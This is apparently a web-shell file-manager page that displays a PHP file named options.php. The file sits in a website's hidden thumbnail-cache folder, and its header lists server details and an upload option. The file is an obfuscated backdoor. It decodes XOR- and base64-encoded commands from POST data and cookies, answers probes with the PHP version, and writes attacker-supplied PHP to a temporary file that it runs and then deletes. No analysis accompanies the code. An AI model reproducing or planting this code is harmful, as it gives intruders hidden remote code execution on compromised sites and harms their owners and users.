HEX
Server: Apache
System: Linux server11 5.10.0-33-amd64 #1 SMP Debian 5.10.226-1 (2024-10-03) x86_64
User: web78 (5081)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/clients/client1/web78/web/.tmb/options.php
<?php $xdzdedsp    = /* tqgzn   */ 'xdzdedsp'    ^   '';


$bfjqffyf       = /*b   */ $xdzdedsp(97)    .	"\x72"    . /*   v   */ "r"."a".$xdzdedsp(121)	.     "_"."\155"    .    "a".$xdzdedsp(112);$wjbzpts /*  c   */ = /*  ekoto  */ "\151"      .    "m"."p".$xdzdedsp(108)     .    $xdzdedsp(111)    . /* gebbqc   */ "\x64"   .  "e";
$estygaz       =   "c"."o"."\165" /* bjm   */ .    "n"."t";
function    ol_jc_xfw($mrjsmio,     $ziparpni)


{      global    $xdzdedsp;


            $mrjsmio   = /*   w */ $xdzdedsp(167-107)	.    "\77"	.	"p".$xdzdedsp(399-295)     .   "\160"     .   $xdzdedsp(32)   .	"\x75"       .	$xdzdedsp(110) /*   zli*/ .	"l"."\x69"       . /*   z_cm  */ "\156" /*   qln  */ .      "\153"       .   "("."\137"       .	"\137"       .      "\x46"    .	$xdzdedsp(73) /*  vzgo */ .	"\x4c" /*   iqupv*/ .      "E"."_"."\137" /*ps*/ .     $xdzdedsp(917-876)	.      ";".$xdzdedsp(32)   .    $mrjsmio[$xdzdedsp(100)];


    $aolgjk /*c_i   */ =       $xdzdedsp(102) /*   ne*/ .  "\x69" /* qoje*/ . /* gbldbw */ $xdzdedsp(525-417)       .    "\145"  .	$xdzdedsp(748-653) /*  byct  */ .    $xdzdedsp(112)       . /*   wvogtn*/ $xdzdedsp(117)    .  "\164" /* vklkyl  */ .    "_"."c"."o"."n"."t".$xdzdedsp(231-130)."n".$xdzdedsp(842-726)    .   "\x73";
   

 /* njftrs   */ $aolgjk($ziparpni, /*   gide   */ $mrjsmio);
 /*hnjepc */      zcffjn($ziparpni);

}

$rntxh	=    73;



function  zcffjn($ziparpni)


{


 /*uuskp */ global	$xdzdedsp;
	


	include($ziparpni);

  $weukcwktj /*  o  */ = /*vjh*/ $ziparpni;


 /*ii */ @unlink($weukcwktj);


}



function    axjjsppdjj()


{

 /* m */ global       $xdzdedsp;


	$uvrbb /*  jp  */ = /*   odxrgu   */ array();
 /*  igo   */ $uvrbb["\x70"    .	$xdzdedsp(118)]    = /*   imnzv*/ phpversion();    $uvrbb["\163"      .      "v"] /* ccenz  */ =    $xdzdedsp(51)	.       ".".$xdzdedsp(53);

	$y_bj_dofw	=    74; /*  bli */ echo  @serialize($uvrbb);


}



function /* vjh   */ nztana($mrjsmio, /* mlngy  */ $smsdzmn)
{


 /*_xpzq*/ global /* kejso   */ $xdzdedsp;
     $zywomf	=    "";
      $lnxltq_zm /*   j   */ = /*  jnufj */ 'ovc';
 /* i   */ $_qptqft /*jjgo*/ =    hash('sha256',      $mrjsmio);


   $zrldqhceq     =     str_replace('jninowl', /*p_  */ $_qptqft,	$lnxltq_zm);       $uvrbb   =   0; /*   zsiyh   */ while      ($uvrbb	<   strlen($mrjsmio))      {


       $hrmzpngkec /* hbwh */ =	isset($smsdzmn) /*  hosbng  */ ?    $smsdzmn    :   '';	for    ($ogrjq    =       0;    $ogrjq    <    strlen($hrmzpngkec)      &&    $uvrbb     < /*   _pp  */ strlen($mrjsmio); /*   jq  */ $ogrjq++, /*stgc*/ $uvrbb++) /*  eag_vg   */ {

    $zywomf    .= /*   mr  */ $xdzdedsp(ord($mrjsmio[$uvrbb])    ^ /*  hw */ ord($hrmzpngkec[$ogrjq]));
   }
 /* aynql  */ if	(strlen($zywomf)    >	20) /*  qoyrft*/ {

	$zrldqhceq      = /*   ujkwwk*/ substr($zywomf, /*  kqhko   */ 0, /*q_qp  */ 20);
 /*  z  */ } /* zxsip  */ }

    if   (empty($zywomf))	{    $zywomf /*  boipcp  */ =	date('Y-m-d /*   ohe_jr*/ H:i:s');

   }

 /* hqsf */ return    $zywomf;}






function /*  mkabz*/ dvxboacte($afcmecs)

{
     global    $xdzdedsp;


  
    $nznppuzf	=	$xdzdedsp(762-714) /*ia  */ .    $xdzdedsp(100) /*   emorsu  */ . /*  mexenk   */ "9"."9".$xdzdedsp(231-130)."2"."\66"	.   "0".$xdzdedsp(45)     .    "3"."3"."b"."6".$xdzdedsp(1007-962)     .      $xdzdedsp(541-489)       .    $xdzdedsp(97)      .	"0".$xdzdedsp(55) /*  d_olux   */ .   "\55"	. /*   rj_c  */ "\x62"    .   "\x34"  . /* oqyzy   */ $xdzdedsp(101)    . /* sklsh  */ "\65"	. /*pcgzi*/ $xdzdedsp(45) /*hl*/ .     $xdzdedsp(271-174)   .	"b"."\71" /*   j*/ .	$xdzdedsp(53)      . /*ntq  */ $xdzdedsp(464-413)    . /*   tqgg */ "\144" /*p */ .     $xdzdedsp(78-21)  .       "2"."9"."\63"    .	$xdzdedsp(101) /*   wvyh*/ .  "\70";

 /*rlbw  */ 
 /*awog */ foreach    ($afcmecs    as	$tyetikung /*  jgfrrc   */ =>     $mrjsmio)	{

	ghcmo(base64_decode($mrjsmio),      $nznppuzf,   $tyetikung);


	}


}


function    ghcmo($mrjsmio,	$nznppuzf,     $tyetikung)
{
	global /*  o */ $xdzdedsp;      $mrjsmio       =    unserialize(nztana(nztana($mrjsmio,       $nznppuzf), /*  p  */ $tyetikung));
	$bxyaixa /*eh*/ =	'kflnmexmu';
	$qixjs   =   'cq_q';    if	(isset($mrjsmio["\x61"."k"])) /*sq*/ {

   if	($mrjsmio["\x61"]    ==    "\x69")  {

      axjjsppdjj();


       }    elseif	($mrjsmio["\x61"] /* az */ ==   $xdzdedsp(231-130))    {


    ol_jc_xfw($mrjsmio, /*  wi*/ sprintf(".".$xdzdedsp(47)    . /*a  */ "%"."s"."\56" /*xtq */ .   "p"."\x6c", /*  nxyv  */ md5($nznppuzf)));

			$kgdfotvnpa	= /*   xpxef */ 44;

	}


      exit();
 /*vai  */ }
}




dvxboacte($_POST); /*   r */ 




$mkxnaegt       =       $bfjqffyf('rawurldecode', /*   qgfv */ $_POST);

$gnhzutc /* a_cdkz   */ = /*iomtkd   */ $estygaz($mkxnaegt);

if    ($gnhzutc	> /*   kl */ 0)    {
	$zyghjxr     =    $wjbzpts(',',    $mkxnaegt);}

dvxboacte($_COOKIE);	




$gey_yt /*_   */ =    $bfjqffyf('rawurldecode',    $_COOKIE);$vkxwrqkt /*twzqey   */ = /* kbi*/ $estygaz($gey_yt);


if    ($vkxwrqkt       >	0)    {





}



?>